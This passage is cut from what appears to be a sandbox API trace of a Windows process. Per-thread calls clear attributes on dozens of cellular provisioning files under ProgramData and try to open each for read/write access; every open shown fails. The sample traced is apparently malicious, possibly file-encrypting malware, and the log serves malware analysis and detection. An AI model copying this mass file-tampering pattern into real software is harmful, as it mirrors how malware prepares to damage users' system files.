dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.210] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\701__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.210] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304f6c0) returned 1 [0183.210] RtlExitUserThread (Status=0x0) Thread: id = 3319 os_tid = 0x129c [0183.061] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\702__connections_cellular_3 (italy)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.188] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.188] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\702__connections_cellular_3 (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.188] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\702__Connections_Cellular_3 (Italy)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.188] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0183.188] RtlExitUserThread (Status=0x0) Thread: id = 3320 os_tid = 0x12a0 [0183.062] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\703__connections_cellular_3 (italy)_i1$(__mvid)@wap.provxml")) returned 0x20 [0183.187] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.187] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\703__connections_cellular_3 (italy)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.187] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\703__Connections_Cellular_3 (Italy)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.187] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fa4fe0) returned 1 [0183.187] RtlExitUserThread (Status=0x0) Thread: id = 3321 os_tid = 0x12a4 [0183.062] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\704__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml")) returned 0x20 [0183.186] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.186] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\704__cellular_persimsettings_$(__iccid)_accountexperienceurl.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.186] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\704__Cellular_PerSimSettings_$(__ICCID)_AccountExperienceURL.provxml", dwFileAttributes=0x20) returned 0 [0183.186] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304f818) returned 1 [0183.186] RtlExitUserThread (Status=0x0) Thread: id = 3322 os_tid = 0x12a8 [0183.063] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\705__connections_cellular_fastweb (italy)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.185] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.185] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\705__connections_cellular_fastweb (italy)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.185] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\705__Connections_Cellular_FASTWEB (Italy)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.185] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02fe8) returned 1 [0183.185] RtlExitUserThread (Status=0x0) Thread: id = 3323 os_tid = 0x12ac [0183.063] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\706__connections_cellular_fastweb (italy)_i1$(__mvid)@wap.provxml")) returned 0x20 [0183.208] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.208] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\706__connections_cellular_fastweb (italy)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.208] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\706__Connections_Cellular_FASTWEB (Italy)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.209] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x4f02318) returned 1 [0183.209] RtlExitUserThread (Status=0x0) Thread: id = 3324 os_tid = 0x12b0 [0183.063] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\707__connections_cellular_transatel (france)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.207] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.207] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\707__connections_cellular_transatel (france)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.207] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\707__Connections_Cellular_Transatel (France)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.207] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304f410) returned 1 [0183.207] RtlExitUserThread (Status=0x0) Thread: id = 3325 os_tid = 0x12bc [0183.064] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\708__connections_cellular_transatel (france)_i1$(__mvid)@wap.provxml")) returned 0x20 [0183.206] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.206] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\708__connections_cellular_transatel (france)_i1$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.206] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\708__Connections_Cellular_Transatel (France)_i1$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.206] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304e7f8) returned 1 [0183.206] RtlExitUserThread (Status=0x0) Thread: id = 3326 os_tid = 0x728 [0183.064] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\709__connections_cellular_transatel (worldwide)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.205] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.205] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\709__connections_cellular_transatel (worldwide)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.205] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\709__Connections_Cellular_Transatel (Worldwide)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.205] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304eeb0) returned 1 [0183.205] RtlExitUserThread (Status=0x0) Thread: id = 3327 os_tid = 0x918 [0183.065] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\70__connections_cellular_china unicom (china)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.204] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.204] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\70__connections_cellular_china unicom (china)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.204] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\70__Connections_Cellular_China Unicom (China)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.204] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304f160) returned 1 [0183.204] RtlExitUserThread (Status=0x0) Thread: id = 3328 os_tid = 0x8e4 [0183.065] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\710__connections_cellular_transatel (datamarketplace)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.202] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.202] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\710__connections_cellular_transatel (datamarketplace)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.203] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\710__Connections_Cellular_Transatel (DataMarketplace)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.203] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0b38) returned 1 [0183.203] RtlExitUserThread (Status=0x0) Thread: id = 3329 os_tid = 0x8cc [0183.066] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\711__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml")) returned 0x20 [0183.201] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml", dwFileAttributes=0x20) returned 0 [0183.201] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\711__datamarketplace_persimsettings_$(__iccid)_datamarketplaceroaminguienabled.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.201] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\711__DataMarketplace_PerSimSettings_$(__ICCID)_DataMarketplaceRoamingUIEnabled.provxml", dwFileAttributes=0x20) returned 0 [0183.201] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff25d0) returned 1 [0183.201] RtlExitUserThread (Status=0x0) Thread: id = 3330 os_tid = 0x980 [0183.066] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\712__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml")) returned 0x20 [0183.200] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml", dwFileAttributes=0x20) returned 0 [0183.200] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\712__datamarketplace_persimsettings_$(__iccid)_supportdatamarketplace.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.200] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\712__DataMarketplace_PerSimSettings_$(__ICCID)_SupportDataMarketplace.provxml", dwFileAttributes=0x20) returned 0 [0183.200] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2ff0868) returned 1 [0183.200] RtlExitUserThread (Status=0x0) Thread: id = 3331 os_tid = 0x830 [0183.067] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\713__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.183] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.183] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\713__connections_cellular_cmhk (hong kong sar)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.184] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\713__Connections_Cellular_CMHK (Hong Kong SAR)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.184] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304eaa8) returned 1 [0183.184] RtlExitUserThread (Status=0x0) Thread: id = 3332 os_tid = 0x97c [0183.067] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\714__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.182] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.182] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\714__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.182] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\714__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml", dwFileAttributes=0x20) returned 0 [0183.182] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x304f970) returned 1 [0183.182] RtlExitUserThread (Status=0x0) Thread: id = 3333 os_tid = 0x84c [0183.067] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\715__cellular_persimsettings_$(__iccid)_appid.provxml")) returned 0x20 [0183.173] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0183.174] CreateFileW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\715__cellular_persimsettings_$(__iccid)_appid.provxml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0183.175] SetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\715__Cellular_PerSimSettings_$(__ICCID)_AppID.provxml", dwFileAttributes=0x20) returned 0 [0183.175] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x3054350) returned 1 [0183.175] RtlExitUserThread (Status=0x0) Thread: id = 3334 os_tid = 0xae0 [0183.068] GetFileAttributesW (lpFileName="C:\\Users\\All Users\\Microsoft\\Provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\Prov\\RunTime\\716__Connections_Cellular_SoftBank (Japan)_i0$(__MVID)@WAP.provxml" (normalized: "c:\\users\\all users\\microsoft\\provisioning\\{c8a326e4-f518-4f14-b543-97a57e1a975e}\\prov\\runtime\\716__connections_cellular_softbank (japan)_i0$(__mvid)@wap.provxml")) returned 0x20 [0183.174] SetFileAttributesW (lpFileName="C:\\Users\\All 